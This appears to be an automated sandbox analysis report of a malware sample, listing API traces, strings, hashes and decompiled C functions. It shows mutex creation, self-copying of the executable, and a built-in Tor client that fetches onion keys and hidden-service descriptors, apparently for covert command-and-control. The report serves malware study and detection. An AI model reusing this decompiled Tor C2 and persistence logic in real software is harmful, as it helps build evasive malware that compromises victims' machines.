Opcode ID: 30a88e46c5f050edb9c4a3c58b67cd00741da112eedfe72f4c197f97542bf5a3
Instruction ID: bb62f679b5c11add256c0736dff7da7bd6f018e1014224f773612ac08a290859
Opcode Fuzzy Hash: 30a88e46c5f050edb9c4a3c58b67cd00741da112eedfe72f4c197f97542bf5a3
Instruction Fuzzy Hash: 90712FB194021CAAEB20EF91CC46FDA777CAB44704F0005EAB709B60C1D7B5AB948F69

Uniqueness

Uniqueness Score: -1.00%

Function 00861250 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 119sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00405B8B,00405CA9,00000000,00000000), ref: 0086127B
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,00000000,00405B8B,00405CA9,00000000,00000000,?,?,70207369), ref: 0086128E

Part of subcall function 00865FB8: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 00866014
Part of subcall function 00865FB8: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086601E
Part of subcall function 00865FB8: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 00866035
Part of subcall function 00865FB8: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 00866045
Part of subcall function 00865FB8: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086605D
Part of subcall function 00865FB8: CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 00866065

OpenMutexA.KERNEL32(00100000,00000000,llfujo), ref: 00861340
CreateMutexA.KERNEL32(00000000,00000000,llfujo,00100000,00000000,llfujo,00408129,00000000,?,00000100,00000000,00000000,00405B8B,00405CA9,00000000,00000000), ref: 00861354
EnumWindows.USER32(0040593C,00000000), ref: 0086137B
Sleep.KERNEL32(00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 00861385
GetModuleFileNameA.KERNEL32(00000000,?,00000100,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 008613B2
CopyFileA.KERNEL32(?,?,00000000), ref: 008613D8
Sleep.KERNEL32(0000EA60,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 008613FE
ExitProcess.KERNEL32(00000000,0000EA60,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 00866ADD

Strings

llfujo, xrefs: 00861306, 00861316, 00861334, 0086134B, 008613B7, 008613EF

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: FileLocal$CreateFreeModuleMutexNameSleep$AllocAuthorityCloseCopyEnumExitHandleInformationOpenProcessThreadTokenWindows
String ID: llfujo
API String ID: 3825064006-2623408462
Opcode ID: da48f3c4b8f3bb883ace523001b2dd1afccee13f5d8bf6fcda1a97818a6831e3
Instruction ID: 003c2c77f399adabd1d3a4233642bf4d283195a988e00b834c2fc12f3069cfd9
Opcode Fuzzy Hash: da48f3c4b8f3bb883ace523001b2dd1afccee13f5d8bf6fcda1a97818a6831e3
Instruction Fuzzy Hash: 4D418770A80348BAEF30E794CD47F987268FF04B15F164465B744FA2C2EAF456858A5A

Uniqueness

Uniqueness Score: -1.00%

Function 00863B2A Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 195encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00863B67
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00863B85
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00863C40

Strings

KDBM, xrefs: 00863D5A
SHA1, xrefs: 00863CDF
KeyDataBlob, xrefs: 00863DA3, 00863DA9
RSAPUBLICBLOB, xrefs: 00863CBC, 00863CC2
RSA1, xrefs: 00863C45

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1
API String ID: 698452922-1412799199
Opcode ID: 18c5be94ccef0cba62b59a392cc173b1c118f2c6b6c663211872200f4ef1164c
Instruction ID: 3079e65210e39f47aa88cf2d75b64f0e084bc6f3a58e3eb4e5da429aa49c8458
Opcode Fuzzy Hash: 18c5be94ccef0cba62b59a392cc173b1c118f2c6b6c663211872200f4ef1164c
Instruction Fuzzy Hash: 8F712CB294025CAAEB20DF94CC86FDA777CFB44704F1105A6B708F60C1DBB5AA948F59

Uniqueness

Uniqueness Score: -1.00%

Function 00403DE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 98
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00403DE9(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, BYTE* _a16) {
				char _v16;
				char _v501;
				char _v516;
				char _v520;
				intOrPtr _v524;
				int _v532;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				char* _t43;
				char _t53;
				void* _t54;
				char* _t56;
				void* _t59;
				void* _t60;

				_t60 = __eflags;
				E00406259( &_v532,  &_v16 - _t59);
				E004061D2("/tor/server/fp/",  &_v516, 0xf);
				E004065EA(_a12, 0x14,  &_v501);
				_t35 = E00402A45(__edx, _t60, _a4, _a8,  &_v516,  &_v520);
				_t61 = _t35;
				if(_t35 != 0) {
					_t53 = _v520;
					_v524 = _t35;
					_t39 = E00406561(_t61, _t53, _v524, "onion-key");
					_t62 = _t39;
					if(_t39 != 0) {
						_t40 = _t39 - _t53;
						_t54 = _t53 + _t40;
						_v524 = _v524 - _t40;
						_t41 = E00406561(_t62, _t54, _v524, "-----BEGIN RSA PUBLIC KEY-----");
						_t63 = _t41;
						if(_t41 != 0) {
							_t42 = _t41 - _t54;
							_v524 = _v524 - _t41 - _t54;
							_t43 = E00406561(_t63, _t54 + _t42, _v524, "-----END");
							if(_t43 != 0) {
								_t56 =  &_v516;
								 *_t43 = 0;
								while(1) {
									asm("lodsb");
									if(_t43 > 0x20) {
										asm("stosb");
									}
									if(_t43 == 0) {
										break;
									}
								}
								 *_t56 = 0;
								CryptStringToBinaryA( &_v516, 0, 1, 0,  &_v532, 0, 0);
								CryptStringToBinaryA( &_v516, 0, 1, _a16,  &_v532, 0, 0);
							}
						}
					}
				}
				E00404681( &_v520);
				return _v532;
			}

0x00403de9
0x00403e00
0x00403e13
0x00403e24
0x00403e3d
0x00403e42
0x00403e44
0x00403e4a
0x00403e50
0x00403e62
0x00403e67
0x00403e69
0x00403e6f
0x00403e71
0x00403e73
0x00403e85
0x00403e8a
0x00403e8c
0x00403e8e
0x00403e92
0x00403ea4
0x00403eab
0x00403eb2
0x00403eb8
0x00403ebb
0x00403ebb
0x00403ebe
0x00403ec0
0x00403ec0
0x00403ec3
0x00000000
0x00000000
0x00403ec5
0x00403ec7
0x00403ee2
0x00403f00
0x00403f00
0x00403eab
0x00403e8c
0x00403e69
0x00403f0c
0x00403f1b

APIs

Part of subcall function 00402A45: wsprintfA.USER32 ref: 00402A94

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00403EE2
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00403F00

Strings

-----BEGIN RSA PUBLIC KEY-----, xrefs: 00403E79
-----END, xrefs: 00403E98
onion-key, xrefs: 00403E56
/tor/server/fp/, xrefs: 00403E0E

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: BinaryCryptString$wsprintf
String ID: -----BEGIN RSA PUBLIC KEY-----$-----END$/tor/server/fp/$onion-key
API String ID: 2962846386-2989486038
Opcode ID: f4165d4c170c6d4e9428747cdf0b0da8e271c0f524917755f37f749a58f2d512
Instruction ID: 075114a9c79a63e1ae3d01ca0205731f2ada0a5f93bea76052c87a082f6def9e
Opcode Fuzzy Hash: f4165d4c170c6d4e9428747cdf0b0da8e271c0f524917755f37f749a58f2d512
Instruction Fuzzy Hash: 3731E632A403197ADB20DA65CC46FEF777DAB44304F0500BABA15F21C2DB749A908F69

Uniqueness

Uniqueness Score: -1.00%

Function 00401DC1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401DC1() {
				signed int _t587;
				signed int _t617;
				signed int _t619;
				signed int _t623;
				int _t625;
				signed int _t631;
				signed int _t638;
				intOrPtr _t643;
				signed int _t649;
				char _t650;
				signed int _t657;
				signed int _t684;
				signed int _t689;
				signed int _t709;
				signed int _t711;
				int _t717;
				signed int _t718;
				signed int _t726;
				signed int _t729;
				signed int _t733;
				signed int _t734;
				signed int _t739;
				intOrPtr _t747;
				void* _t749;
				signed int _t753;
				signed int _t761;
				signed int _t780;
				signed int _t782;
				intOrPtr _t797;
				char _t798;
				signed int _t806;
				signed int _t818;
				signed int _t876;
				signed int _t878;
				signed int _t880;
				signed int _t890;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t895;
				void* _t897;
				signed int _t898;
				signed int _t900;
				void* _t903;
				signed int _t904;
				int _t907;
				signed int _t912;
				signed int _t916;
				char _t920;
				void* _t923;
				char* _t929;
				void* _t937;
				char* _t939;
				char* _t940;
				char* _t941;
				char* _t942;
				char* _t943;
				intOrPtr _t944;
				char* _t945;
				BYTE* _t946;
				char* _t947;
				char* _t948;
				char* _t952;
				char* _t953;
				char* _t954;
				void* _t956;
				char* _t957;
				intOrPtr _t960;
				void* _t961;
				void* _t963;

				while(1) {
					L116:
					 *(_t961 - 0x6a8) =  *(_t961 - 0x6a8) + 1;
					L118:
					while( *(_t961 - 0x6a8) <= 4) {
						_t935 = E00403CE1( *((intOrPtr*)(_t961 - 0x23c)), E004065B9(_t580,  *((intOrPtr*)(_t961 - 0x6a0))), 0);
						_t580 = E00403D29(_t582);
						__eflags =  *(_t961 - 0x6a8);
						if( *(_t961 - 0x6a8) != 0) {
							L3:
							__eflags =  *(_t961 - 0x6a8) - 1;
							if( *(_t961 - 0x6a8) != 1) {
								L5:
								__eflags =  *(_t961 - 0x6a8) - 2;
								if( *(_t961 - 0x6a8) != 2) {
									L7:
									__eflags =  *(_t961 - 0x6a8) - 4;
									if(__eflags != 0) {
										L9:
										_t587 = E00403C2A(__eflags, _t935, _t961 +  *(_t961 - 0x6a8) * 4 - 0x6dc, _t961 +  *(_t961 - 0x6a8) * 4 - 0x6f0, _t961 +  *(_t961 - 0x6a8) * 4 - 0x704, _t961 +  *(_t961 - 0x6a8) * 4 - 0x718);
										_t580 = _t587;
										__eflags = _t587;
										if(_t587 != 0) {
											continue;
										}
										__eflags =  *(_t961 - 0x6a8) - 1;
										if( *(_t961 - 0x6a8) != 1) {
											L12:
											__eflags =  *(_t961 - 0x6a8) - 4;
											if(__eflags != 0) {
												__eflags =  *(_t961 - 0x6a8) - 3;
												if( *(_t961 - 0x6a8) != 3) {
													__eflags =  *(_t961 - 0x6a8) - 2;
													if(__eflags != 0) {
														__eflags =  *(_t961 - 0x6a8);
														if(__eflags != 0) {
															while(1) {
																L116:
																 *(_t961 - 0x6a8) =  *(_t961 - 0x6a8) + 1;
																goto L118;
															}
														}
														__eflags = E00402D52(_t926, __eflags,  *((intOrPtr*)(_t961 - 0x6f0)),  *((intOrPtr*)(_t961 - 0x704)),  *((intOrPtr*)(_t961 + 0x10)),  *((intOrPtr*)(_t961 + 0x14)), _t961 - 0x764);
														if(__eflags == 0) {
															goto L117;
														}
														E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)), 0x40826c, 7, 0,  *((intOrPtr*)(_t961 + 0x10)));
														 *(_t961 - 0x760) = 0;
														_t617 = E00404656(0x186a0, _t961 - 0x77c);
														__eflags = _t617;
														if(_t617 == 0) {
															goto L117;
														}
														_t619 = E00404656(0x186a0, _t961 - 0x780);
														__eflags = _t619;
														if(_t619 == 0) {
															goto L117;
														}
														_t937 =  *(_t961 - 0x77c);
														 *(_t961 - 0x24) = 0;
														 *(_t961 - 0x2c) = 0;
														while(1) {
															E0040621F( *((intOrPtr*)(_t961 - 0x764)), 0, _t961 - 0x778, 0xa, 0);
															_push(_t961 - 0x76c);
															_push(0);
															_push(0);
															_t623 = _t961 - 0x778;
															_push(_t623);
															_push(0);
															L00406A24();
															__eflags = _t623;
															if(__eflags <= 0) {
																goto L117;
															}
															_t625 = E00404359(__eflags,  *((intOrPtr*)(_t961 - 0x764)), _t961 - 0x760,  *((intOrPtr*)(_t961 + 0x10)));
															__eflags = _t625;
															if(_t625 <= 0) {
																goto L117;
															}
															 *(_t961 - 0x24) =  *(_t961 - 0x24) + _t625;
															_t956 =  *(_t961 - 0x760);
															_t907 = _t625;
															memcpy(_t937, _t956, _t907);
															_t963 = _t963 + 0xc;
															_t937 = _t956 + _t907 + _t907;
															E00404681(_t961 - 0x760);
															__eflags =  *(_t961 - 0x24) - 0x202;
															if( *(_t961 - 0x24) < 0x202) {
																continue;
															}
															_t926 =  *(_t961 - 0x77c);
															_t631 =  *(_t926 + 0x10) & 0x0000ffff;
															__eflags = _t631 + 0x19 -  *(_t961 - 0x24);
															if(_t631 + 0x19 >  *(_t961 - 0x24)) {
																continue;
															}
															_t912 =  *(_t631 + _t926 + 0x17) & 0x0000ffff;
															__eflags =  *(_t961 - 0x24) - _t912 + _t631 + 0x21b;
															if( *(_t961 - 0x24) != _t912 + _t631 + 0x21b) {
																continue;
															}
															E00406270(0x40807e, 0xa, _t961 - 0x63c);
															asm("bswap eax");
															_t638 =  *((intOrPtr*)(_t937 - 0x1fd)) + ( *(_t961 - 0x63c) & 0x000000ff) * 0x15180 / 0x100;
															_t926 = _t638 % 0x15180;
															asm("bswap eax");
															 *(_t961 - 0x61e) = _t638 / 0x15180;
															E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
															_t960 =  *((intOrPtr*)(_t961 - 0x780));
															 *((char*)(_t960 + 4)) = 8;
															_t643 = E004061D2(_t937 - 0x1fd, _t960 + 5, 4);
															 *((short*)(_t960 + 9)) = 0x404;
															_push( *((intOrPtr*)(_t961 - 0x6f0)));
															L00406A0C();
															 *((intOrPtr*)(_t960 + 0xb)) = _t643;
															 *((intOrPtr*)(_t960 + 0xf)) = 0x40401;
															_t580 = E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)), _t960, 0x202, 0,  *((intOrPtr*)(_t961 + 0x10)));
															while(1) {
																L116:
																 *(_t961 - 0x6a8) =  *(_t961 - 0x6a8) + 1;
																goto L118;
															}
														}
														goto L117;
													}
													_t649 = E004031BE(__eflags,  *((intOrPtr*)(_t961 - 8)),  *(_t961 - 4),  *((intOrPtr*)(_t961 - 0xc)),  *((intOrPtr*)(_t961 - 0x10)),  *((intOrPtr*)(_t961 + 0x10)),  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x6ec)),  *(_t961 - 0x714),  *((intOrPtr*)(_t961 - 0x6e8)),  *((intOrPtr*)(_t961 - 0x6fc)),  *((intOrPtr*)(_t961 - 0x6dc)),  *(_t961 - 0x6d4), 1, _t961 - 0x200, _t961 - 0x1fc, _t961 - 0x1f8, _t961 - 0x1f4, _t961 - 0x238);
													__eflags = _t649;
													if(_t649 <= 0) {
														goto L117;
													}
													_t650 = E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
													_t939 =  *((intOrPtr*)(_t961 - 0x780));
													 *_t939 = 0x80;
													 *((char*)(_t939 + 3)) = 1;
													 *((char*)(_t939 + 4)) = 3;
													 *((char*)(_t939 + 5)) = 0x21;
													 *((char*)(_t939 + 0xf)) = 0x14;
													_t916 = 0;
													while(1) {
														__eflags = _t916 - 0x14;
														if(_t916 >= 0x14) {
															break;
														}
														 *[ss:ecx+ebp-0x650] = _t650;
														_t916 = _t916 + 1;
														__eflags = _t916;
													}
													E004061D2(_t961 - 0x650, _t939 + 0x10, 0x14);
													E00403616( *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x200)),  *((intOrPtr*)(_t961 - 0x1f8)), 0, _t939 + 5, 0,  *((intOrPtr*)(_t961 - 0x230)));
													E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t961 + 0x10)));
													_t657 = E00404554( *((intOrPtr*)(_t961 - 0x764)),  *(_t961 - 0x77c), 0x202,  *((intOrPtr*)(_t961 + 0x10)), 0x14);
													_t940 =  *(_t961 - 0x77c);
													__eflags = _t657;
													if(_t657 != 0) {
														goto L117;
													}
													__eflags = _t940[4] - 3;
													if(__eflags != 0) {
														goto L117;
													}
													_t580 = E00403697(__eflags,  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1fc)),  *((intOrPtr*)(_t961 - 0x1f4)), 0,  &(_t940[5]), 1,  *((intOrPtr*)(_t961 - 0x22c)));
													__eflags = _t580;
													if(_t580 == 0) {
														goto L117;
													}
													__eflags = _t940[5] - 0x27;
													if(_t940[5] != 0x27) {
														goto L117;
													}
													while(1) {
														L116:
														 *(_t961 - 0x6a8) =  *(_t961 - 0x6a8) + 1;
														goto L118;
													}
												}
												 *(_t961 - 0x34) = 0;
												 *(_t961 - 0x14) = 2;
												 *(_t961 - 0x18) = 1;
												while(1) {
													__eflags =  *(_t961 - 0x34) - 2;
													if( *(_t961 - 0x34) >= 2) {
														break;
													}
													 *((char*)(_t961 - 0x61a)) =  *(_t961 - 0x34);
													E004030CA( *((intOrPtr*)(_t961 - 8)), _t961 - 0x61e, 5, _t961 - 0x632, 0, 0xffffffff);
													E004030CA( *((intOrPtr*)(_t961 - 8)), _t961 - 0x63c, 0x1e, _t961 - 0x619, 0, 0xffffffff);
													E00406368(_t961 - 0x619, 0x14, _t961 - 0x605);
													E004061D2(_t961 - 0x6a4, _t961 - 0x24, 4);
													E004061D2(_t961 - 0x6a4, _t961 - 0x2c, 4);
													_t903 = 0;
													while(1) {
														__eflags =  *(_t961 - 0x2c);
														if( *(_t961 - 0x2c) <= 0) {
															break;
														}
														E004061D2(_t961 - 0x2c, _t961 - 0x24, 4);
														 *(_t961 - 0x24) =  *(_t961 - 0x24) >> 1;
														_t684 = E00403C2A(__eflags, E00403CE1( *((intOrPtr*)(_t961 - 0x23c)), _t903 +  *(_t961 - 0x24), 8), _t961 - 0x6d0, _t961 - 0x6e4, _t961 - 0x6f8, _t961 - 0x70c);
														 *(_t961 - 0x20) = 0;
														__eflags = _t684;
														if(_t684 != 0) {
															L62:
															__eflags =  *(_t961 - 0x20) - 1;
															if( *(_t961 - 0x20) != 1) {
																E004061D2(_t961 - 0x24, _t961 - 0x2c, 4);
															} else {
																_t903 = _t903 +  *(_t961 - 0x24) + 1;
																 *(_t961 - 0x2c) =  *(_t961 - 0x2c) -  *(_t961 - 0x24) + 1;
															}
															continue;
														}
														CryptStringToBinaryA( *(_t961 - 0x6d0), 0, 1, 0, _t961 - 0x1c, 0, 0);
														CryptStringToBinaryA( *(_t961 - 0x6d0), 0, 1, _t961 - 0x5a1, _t961 - 0x1c, 0, 0);
														_t923 = 0;
														while(1) {
															__eflags = _t923 - 0x14;
															if(_t923 >= 0x14) {
																goto L62;
															}
															_t747 =  *[ss:ecx+ebp-0x5a1];
															__eflags = _t747 -  *[ss:ecx+ebp-0x619];
															if(_t747 >  *[ss:ecx+ebp-0x619]) {
																goto L62;
															}
															__eflags = _t747 -  *[ss:ecx+ebp-0x619];
															if(_t747 !=  *[ss:ecx+ebp-0x619]) {
																 *(_t961 - 0x20) = 1;
															}
															_t923 = _t923 + 1;
														}
														goto L62;
													}
													 *(_t961 - 0x1c) = 0;
													while(1) {
														__eflags =  *(_t961 - 0x1c) - 3;
														if( *(_t961 - 0x1c) >= 3) {
															break;
														}
														_t689 = E00403CE1( *((intOrPtr*)(_t961 - 0x23c)), _t903, 8);
														_t903 = _t903 + 1;
														_t926 = _t689;
														__eflags = E00403C2A(__eflags, _t689, _t961 - 0x6d0, _t961 - 0x6e4, _t961 - 0x6f8, _t961 - 0x70c);
														if(__eflags != 0) {
															continue;
														}
														__eflags = E004031BE(__eflags,  *((intOrPtr*)(_t961 - 8)),  *(_t961 - 4),  *((intOrPtr*)(_t961 - 0xc)),  *((intOrPtr*)(_t961 - 0x10)),  *((intOrPtr*)(_t961 + 0x10)),  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x6ec)),  *(_t961 - 0x714),  *((intOrPtr*)(_t961 - 0x6e4)),  *((intOrPtr*)(_t961 - 0x6f8)),  *((intOrPtr*)(_t961 - 0x6dc)),  *(_t961 - 0x6d0),  *(_t961 - 0x14), _t961 - 0x1f0, _t961 - 0x1ec, _t961 - 0x1e8, _t961 - 0x1e4, _t961 - 0x228);
														if(__eflags <= 0) {
															L88:
															E00403515( *((intOrPtr*)(_t961 - 0x764)),  *(_t961 - 0x77c),  *((intOrPtr*)(_t961 + 0x10)),  *(_t961 - 0x14));
															 *(_t961 - 0x14) =  *(_t961 - 0x14) + 1;
															 *(_t961 - 0x18) =  *(_t961 - 0x18) + 1;
															 *(_t961 - 0x1c) =  *(_t961 - 0x1c) + 1;
															_t580 = E00406561(__eflags,  *((intOrPtr*)(_t961 - 0x780)), 0x186a0, "-----END MESSAGE-----");
															__eflags = _t580;
															if(_t580 != 0) {
																 *(_t961 - 0x30) = _t580;
																goto L116;
															}
															continue;
														}
														E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
														_t941 =  *((intOrPtr*)(_t961 - 0x780));
														 *_t941 = 0x80;
														 *((char*)(_t941 + 3)) =  *(_t961 - 0x14);
														 *((char*)(_t941 + 4)) = 3;
														 *((char*)(_t941 + 5)) = 0xd;
														 *((char*)(_t941 + 9)) =  *(_t961 - 0x18);
														E00403616( *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1f0)),  *((intOrPtr*)(_t961 - 0x1e8)), 0, _t941 + 5, 0,  *((intOrPtr*)(_t961 - 0x220)));
														E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t961 + 0x10)));
														_t709 = E00404554( *((intOrPtr*)(_t961 - 0x764)),  *(_t961 - 0x77c), 0x202,  *((intOrPtr*)(_t961 + 0x10)), 0x14);
														_t942 =  *(_t961 - 0x77c);
														__eflags = _t709;
														if(_t709 != 0) {
															goto L117;
														}
														__eflags = _t942[4] - 3;
														if(__eflags != 0) {
															goto L88;
														}
														_t711 = E00403697(__eflags,  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1ec)),  *((intOrPtr*)(_t961 - 0x1e4)), 0,  &(_t942[5]), 1,  *((intOrPtr*)(_t961 - 0x21c)));
														__eflags = _t711;
														if(_t711 == 0) {
															goto L117;
														}
														__eflags = _t942[5] - 4;
														if(__eflags != 0) {
															goto L88;
														}
														E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
														_t943 =  *((intOrPtr*)(_t961 - 0x780));
														 *_t943 = 0x80;
														 *((char*)(_t943 + 3)) =  *(_t961 - 0x14);
														 *((char*)(_t943 + 4)) = 3;
														 *((char*)(_t943 + 5)) = 2;
														 *((char*)(_t943 + 9)) =  *(_t961 - 0x18);
														_t717 = wsprintfA(_t943 + 0x10, "GET /tor/rendezvous2/%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n", _t961 - 0x605,  *((intOrPtr*)(_t961 - 0x6e4)));
														_t963 = _t963 + 0x10;
														_t718 = _t717 + 1;
														__eflags = _t718;
														 *(_t943 + 0xf) = _t718;
														E00403616( *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1f0)),  *((intOrPtr*)(_t961 - 0x1e8)), 0, _t943 + 5, 1,  *((intOrPtr*)(_t961 - 0x220)));
														E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t961 + 0x10)));
														 *(_t961 - 0x24) = 0;
														 *(_t961 - 0x2c) = 2;
														 *(_t961 - 0x30) = 0;
														_t957 =  *(_t961 - 0x77c);
														_t944 =  *((intOrPtr*)(_t961 - 0x780));
														E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
														while(1) {
															E0040621F( *((intOrPtr*)(_t961 - 0x764)), 0, _t961 - 0x778, 0xa, 0);
															_push(_t961 - 0x76c);
															_push(0);
															_push(0);
															_t726 = _t961 - 0x778;
															_push(_t726);
															_push(0);
															L00406A24();
															__eflags = _t726;
															if(_t726 < 0) {
																goto L117;
															}
															__eflags = _t726;
															if(__eflags == 0) {
																goto L88;
															}
															_t729 = E00404359(__eflags,  *((intOrPtr*)(_t961 - 0x764)), _t961 - 0x760,  *((intOrPtr*)(_t961 + 0x10)));
															__eflags = _t729;
															if(_t729 <= 0) {
																goto L117;
															}
															_t929 =  &(( *(_t961 - 0x77c))[ *(_t961 - 0x24)]);
															 *(_t961 - 0x24) =  *(_t961 - 0x24) + _t729;
															__eflags =  *(_t961 - 0x24) - 0x186a0;
															if( *(_t961 - 0x24) > 0x186a0) {
																goto L119;
															}
															E004061D2( *(_t961 - 0x760), _t929, _t729);
															E00404681(_t961 - 0x760);
															_t733 =  *(_t961 - 0x24);
															_t734 = _t733 / 0x202;
															_t926 = _t733 % 0x202;
															__eflags = _t733 % 0x202;
															if(_t733 % 0x202 != 0) {
																continue;
															}
															 *(_t961 - 0x28) = _t734;
															while(1) {
																__eflags =  *(_t961 - 0x28);
																if( *(_t961 - 0x28) <= 0) {
																	break;
																}
																__eflags =  *_t957 - 0x80;
																if(__eflags != 0) {
																	L85:
																	_t957 =  &(_t957[0x202]);
																	_t424 = _t961 - 0x28;
																	 *_t424 =  *(_t961 - 0x28) - 1;
																	__eflags =  *_t424;
																	continue;
																}
																_t739 = E00403697(__eflags,  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1ec)),  *((intOrPtr*)(_t961 - 0x1e4)), 0,  &(_t957[5]),  *(_t961 - 0x2c),  *((intOrPtr*)(_t961 - 0x21c)));
																__eflags = _t739;
																if(_t739 == 0) {
																	goto L117;
																}
																__eflags = _t957[4] - 0x503;
																if(_t957[4] == 0x503) {
																	goto L85;
																}
																__eflags = _t957[4] - 0x203;
																if(__eflags != 0) {
																	goto L88;
																}
																_t920 = _t957[0xe];
																E004061D2( &(_t957[0x10]), _t944, _t920);
																_t944 = _t944 + _t920;
																_t422 = _t961 - 0x2c;
																 *_t422 =  *(_t961 - 0x2c) + 1;
																__eflags =  *_t422;
																goto L85;
															}
														}
														goto L117;
													}
													_t439 = _t961 - 0x34;
													 *_t439 =  *(_t961 - 0x34) + 1;
													__eflags =  *_t439;
												}
											} else {
												_t749 = E00406561(__eflags,  *((intOrPtr*)(_t961 - 0x780)), 0x186a0, "-----BEGIN MESSAGE-----") + 0x17;
												 *(_t961 - 0x30) =  *(_t961 - 0x30) - _t749;
												_t945 =  *(_t961 - 0x77c);
												while(1) {
													__eflags =  *(_t961 - 0x30);
													if( *(_t961 - 0x30) <= 0) {
														break;
													}
													asm("lodsb");
													__eflags = _t749 - 0x20;
													if(_t749 > 0x20) {
														asm("stosb");
													}
													_t27 = _t961 - 0x30;
													 *_t27 =  *(_t961 - 0x30) - 1;
													__eflags =  *_t27;
												}
												 *_t945 = 0;
												CryptStringToBinaryA( *(_t961 - 0x77c), 0, 1, 0, _t961 - 0x1c, 0, 0);
												_t753 = E00404656( *(_t961 - 0x1c), _t961 - 0x784);
												__eflags = _t753;
												if(_t753 == 0) {
													break;
												}
												CryptStringToBinaryA( *(_t961 - 0x77c), 0, 1,  *(_t961 - 0x784), _t961 - 0x1c, 0, 0);
												_t946 =  *(_t961 - 0x784);
												_t904 = 0;
												while(1) {
													__eflags = _t904 - 3;
													if(_t904 >= 3) {
														break;
													}
													__eflags =  *(_t961 - 0x1c);
													if(__eflags > 0) {
														_t892 = E00406527(__eflags, _t946,  *(_t961 - 0x1c), "introduction-point");
														__eflags = _t892;
														if(__eflags == 0) {
															break;
														}
														 *(_t961 + _t904 * 4 - 0x72c) = _t892;
														_t893 = E00406527(__eflags, _t946,  *(_t961 - 0x1c), "ip-address");
														__eflags = _t893;
														if(__eflags == 0) {
															goto L119;
														}
														 *(_t961 + _t904 * 4 - 0x738) = _t893;
														_t894 = E00406527(__eflags, _t946,  *(_t961 - 0x1c), "onion-port");
														__eflags = _t894;
														if(__eflags == 0) {
															goto L119;
														}
														 *(_t961 + _t904 * 4 - 0x744) = _t894;
														_t895 = E00406561(__eflags, _t946,  *(_t961 - 0x1c), "service-key");
														__eflags = _t895;
														if(__eflags == 0) {
															goto L119;
														}
														_t897 = _t895 + 1 - _t946;
														_t946 =  &(_t946[_t897]);
